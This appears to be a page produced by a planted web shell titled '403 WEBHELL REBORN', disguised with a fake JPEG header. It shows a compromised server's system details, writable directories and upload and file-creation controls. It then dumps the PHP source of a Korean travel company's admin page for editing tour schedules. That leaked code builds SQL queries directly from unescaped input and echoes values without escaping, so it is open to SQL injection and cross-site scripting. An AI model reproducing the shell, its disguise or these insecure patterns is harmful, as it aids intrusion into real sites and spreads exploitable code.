ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good/good_date_schedule_edit.html
<?php
    include "../include/top.html";
    include "_common.php";

    // 상품정보
    $good_data = db_fetch("SELECT * FROM good WHERE g_uid='{$g_uid}' ");

    $sql = "SELECT * FROM TB_GOOD_DATE_TYPE WHERE g_uid = '{$g_uid}'";
    $res = db_query($sql);



    $goodDateTypeData = array();

    while($dataRow = db_fetch_array($res)){

        $goodDateTypeData[$dataRow['dtid']] = $dataRow;
//        array_push($goodDateTypeData, $dataRow);
    }


    foreach($goodDateTypeData as $item){
    ?>

        <div style="display:none" id="dtid<?=$item['dtid']?>"><?=$item['date_type_schedule']?></div>

    <?php
    }
?>

<style>
	td{background:unset !important;}
</style>
<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title"><strong><?=$good_data['g_title']?></strong></div>
		<div class="contents_detail">
			<!-- 본문 -->
			<div id="Content_box">

                <?php
                    include "_menu.html";
                ?>

                <form name="frm_dateform" id="frm_dateform" method="post" action="good_date_schedule_proc.php">
                    <input type="hidden" name="SqlType" value="update" />
                    <input type="hidden" name="g_uid" value="<?=$g_uid?>" />
                    <input type="hidden" name="params" value="<?=$params?>" />
				<ul class="layout_l3 mt25">
					<li>
						<h2>행사 일정표 입력</h2>
						<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register">

							<tbody>
                                <tr>
									<th style="min-width:100px">행사명</th>
									<td style="padding:0">
										<select style="width:436px;height:40px" name="dtid" id="dtNmSel" required>
                                            <?php
                                                if(count($goodDateTypeData) > 0){
                                                    echo "<option value=''>선택하세요.</option>";

                                                    foreach($goodDateTypeData as $item){
                                            ?>

                                            <option value="<?=$item['dtid']?>" <?=(($dtid == $item['dtid']) ? 'selected' : '')?>><?=$item['date_type_nm']?></option>

                                            <?php
                                                }
                                                }else{
                                                    echo "<option>행사가 없습니다.</option>";
                                                }
                                            ?>

										</select>

                                    </td>
								</tr>
							</tbody>
						</table>
					</li>
				</ul>



                <div class="clear mt30">
                    <!-- 제목/에디터 -->
                    <!-- <div class="title">일정표</div> -->
                    <!-- 폼 -->




                        <table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register ">
                            <colgroup>
                                <col width="170px" />
                                <col />
                            </colgroup>
                            <tbody>
                            <tr>
                                <td colspan="2"  valign="top" style="border:none;padding-left:0">
                                    <textarea name="ScheduleText" id="ScheduleText"><?=(($dtid) ? $goodDateTypeData[$dtid]['date_type_schedule'] : '')?></textarea>
                                </td>
                            </tr>
                            </tbody>
                        </table>

                        <div class="btn_wrap_C mt30" style="background:#edf0f5">
                            <!--				<span id="button_edit" class="inblock" style="display:none;"><a href="javascript:;" onclick="chk_form('edit');" class="Bbtn red" >일정표 수정</a></span>&nbsp;&nbsp;-->
                            <input id="button_save" type="submit" value="일정표 저장" class="inblock Bbtn red" style="height:unset"/>
                            <!--                            <span id="button_save" class="inblock" style="display:block;"><a href="javascript:;" class="Bbtn red" >일정표 저장</a></span>&nbsp;&nbsp;-->
                            <!--				<span id="button_delete" class="inblock" style="display:none;"><a href="javascript:;" onclick="chk_form('delete');" class="Bbtn gray" >일정표 삭제</a></span>-->
                        </div>


                    <!-- /폼 -->
                </div>




                </form>

	<!-- /본문 -->
	</div>
</div>

<script type="text/javascript">

    $(window).load(function(){
        $('#dtNmSel').change(function(){

            console.log($(this).val());

            if($(this).val()){
                ckHtmlTarget = $('#dtid'+$(this).val()).html()
                CKEDITOR.instances.ScheduleText.setData(ckHtmlTarget)
            }


        })
    })



	/*function chk_form(mode)
	{
		var f = document.frm_dateform;

		if (!f.ScheduleTitle.value)
		{
			alert('제목을 입력해주세요.');
			f.ScheduleTitle.focus();
			return;
		}

		if (mode=="edit") {
			$("#SqlType").val("common_dateform_edit");
			if (!confirm('수정하시겠습니까?')) return;
		} else if(mode=="new"){
			$("#SqlType").val("common_dateform_create");
			if (!confirm('새로저장하시겠습니까?')) return;
		} else {
			$("#SqlType").val("common_dateform_delete");
			if (!confirm('정말 삭제하시겠습니까?')) return;
		}

		f.action="good_date_proc.html?<?=$_shref?>&<?=$_href?>";
		f.submit();
	}*/


	$(function(){
		// /js/ckeditor_v4.9/plugins/upimgs,admin.lib.js 참고
		CKEDITOR.replace('ScheduleText',{height:'450px'}).ui.addButton( 'Heart', {
		    label: '이미지멀티업로드',
		    command: 'insertHeart',
		    toolbar: 'heart'
		});
	});

</script>


			<!-- /본문 -->
		</div>
	</div>
</div>
<?
include "../include/footer.html";
?>

Anon7 - 2021